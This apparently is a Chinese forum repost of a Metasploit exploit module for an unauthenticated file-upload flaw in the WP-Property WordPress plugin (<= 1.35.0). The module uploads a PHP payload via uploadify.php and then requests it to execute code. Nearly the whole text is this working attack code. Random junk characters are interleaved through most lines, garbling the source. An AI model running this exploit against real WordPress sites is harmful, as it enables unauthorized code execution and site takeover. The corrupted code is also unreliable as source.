WordPress WP-Property PHP 文件上传漏洞
* s* x! [% i/ m/ K/ y& F4 G- R8 W* a5 r3 {9 o
## # This file is part of the Metasploit Framework and may be subject to
' `& D% w5 S' X) W& @: }/ M# e# N8 F" |6 w1 ^
# redistribution and commercial restrictions. Please see the Metasploit
$ @6 G! E0 [' ~1 y/ z
@ o$ p9 M; }. o; b x" U1 _# Framework web site for more information on licensing and terms of use.0 o( H/ p8 N8 q8 Z! l9 b2 i$ I
- o: S" i+ H; ]3 c' g
# http://metasploit.com/framework/ ##: B8 d& B6 I# T0 u$ `1 d
( H& E3 H$ r8 D/ A- m- @
. J& X" q! S) v, Y( l* a/ [
6 I+ S; b: O( U- I% Y3 e 1 e9 P8 c% h+ k! K. K
: {" u# b1 S% lrequire 'msf/core'3 C O8 |" X! p+ K, n" o
require 'msf/core/exploit/php_exe'
* ]+ B" r/ h, l! [6 A! w2 t# ^0 o* R i$ B9 t
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',5 |3 U* }2 c9 g6 Z6 D
'Description' => %q{
+ d/ C0 ^7 L* i) W) g+ M% t8 MThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>& J& F) k* w6 D2 I6 ]; J, B _
[7 J9 ^8 x5 ]5 ]' G' i. l) @7 M
'Sammy FORGIT', # initial discovery$ L; E: r' P( p. n, ~9 p
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
. O- u1 Y. _7 G$ e% r$ X& ]],0 Z7 C. w. A- d3 H8 N
'License' => MSF_LICENSE,
0 R' o3 @, O4 }. f6 Q, ?) z'References' =>
) g/ Y B0 P' ^[
8 c0 ^# G T/ k; g4 k5 H[ 'OSVDB', '82656' ],8 d( ]4 H3 B* R: r8 |
[ 'BID', '53787' ],
. h$ A- w, U' ?, d; @[ 'EDB', '18987'],
9 m: ~* ~ H8 |% I[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
" a1 R# P! @# {],
/ J0 I2 O3 m9 _7 Z'Payload' =>
0 h9 `3 k4 F5 T: e" }{
- s% K; ?% o2 x- S'BadChars' => "\x00",+ k' ?* V# I! ? H4 g
},1 b2 H' z3 n. f* I
'Platform' => 'php',
K. U! ~7 z, F8 T2 R9 o; L; y, \( f'Arch' => ARCH_PHP,1 a4 r( r+ [) ~4 o$ m8 O
'Targets' =>( T0 I1 N) t9 s5 a) M
[* M$ I& ]1 D* w6 D
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
' Y. n0 T2 [- e' D1 Y7 W! l( x2 W[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
- @! Z( u7 S' b4 p2 P], y Y) j* M J5 d- W* J/ ^
'DefaultTarget' => 0,
* _9 I, s6 y! ~: S& o'DisclosureDate' => 'Mar 26 2012')) s" m4 D' W9 A; p* f3 B
0 a6 u! w# ]( ~6 `6 j( r+ \, aregister_options(* s! C9 Y" S1 K1 L, X4 C _% f
[# `' q: _* v A* Q2 m q& M4 B( R% P6 N
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
) f: p$ y4 _7 a$ h& V+ P3 S], self.class)
0 ]! v. d! \ B' W9 x" Tend
0 a1 u: @+ I( O H4 B" T
$ e; u# q: r9 z& ^, q5 k9 edef check
$ H: Y& c+ ~% O1 T, n$ kuri = target_uri.path
4 Y' }# M0 z; O# Juri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',! i8 o6 X0 ]8 _& ~& A O" Y
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
8 }3 v! T" q; i7 z. {9 Q6 v})# Z1 l8 h" ?0 H0 t
r( w# a8 A5 e$ |8 F
if not res or res.code != 200
; U0 D0 P- O2 V5 J$ s' ureturn Exploit::CheckCode::Unknown
. L: u7 z6 M. A$ @% C: [$ s/ I( Eend
: S w! A* J3 p0 p [8 D) L; T5 ~( X) j0 G
return Exploit::CheckCode::Appears
$ t7 [# i7 c! pend
5 o) s7 z* N- w
7 N; e% R$ T" R5 c5 `* I Ydef exploit
; {4 k/ |! Y. z! S$ M& ouri = target_uri.path
; e4 H- O* x: w! z' N3 xuri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)5 U; H7 b3 c4 M% D; q; a2 A
4 }0 L! {8 n1 Y' J3 ^2 |
data = Rex::MIME::Message.new
6 v7 M' n7 \0 ?0 s% x6 ?" Sdata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")# ?* K4 p+ m. C2 }$ X* O$ h
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
% c' y( I% n9 z0 i4 l; s* Kpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')8 C+ G) n4 y+ V6 y# L1 B
: D1 ^4 @9 c3 ?$ A5 Z( f# bprint_status("#{peer} - Uploading payload #{@payload_name}")
: P _* P+ ]( J8 C6 z3 ires = send_request_cgi({
5 |; @; T: E9 L. ['method' => 'POST',. v0 a1 u" i7 Y, P* q/ l% C
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",2 V* u2 {& w+ v$ K' z9 _, e+ E
'ctype' => "multipart/form-data; boundary=#{data.bound}",3 s' ^% b# J' `- }! D0 E+ a C
'data' => post_data/ Q8 L K3 ~; k" R' a
})/ H- }# ~ H% u9 J% D1 [; j; }) x* U
4 g K4 F$ R: U8 A" qif not res or res.code != 200 or res.body !~ /#{@payload_name}/
' U; f& X a1 s! p- f2 Rfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
- L: M# x4 b+ e: N9 E# {end/ z' S% H- V( ]! g) J
$ K2 b/ n0 M$ Y# B$ ^
upload_uri = res.body
6 B. @+ A \8 t9 Y
- u/ ~6 D: C" _# x3 J4 J# @8 R( {; {. sprint_status("#{peer} - Executing payload #{@payload_name}")
, E T8 Y% b2 D0 D2 |" i/ D! {res = send_request_raw({
. T4 o! o7 U. u$ a'uri' => upload_uri,! H! w) d: }% V
'method' => 'GET'
' K; z0 f! p+ v})
6 P! m- }0 O1 _2 hend1 A3 r ^8 n% X/ \& i3 `. \
end' `+ T) n1 E$ Z4 r6 Y) R1 |
0 T; s( c- r/ z& ?. }2 p
不要问我这写的是什么 怎么利用 我是说msf.: c# k, ]) O+ h6 g
N/ w' @" m1 D. {3 Q( Z; { |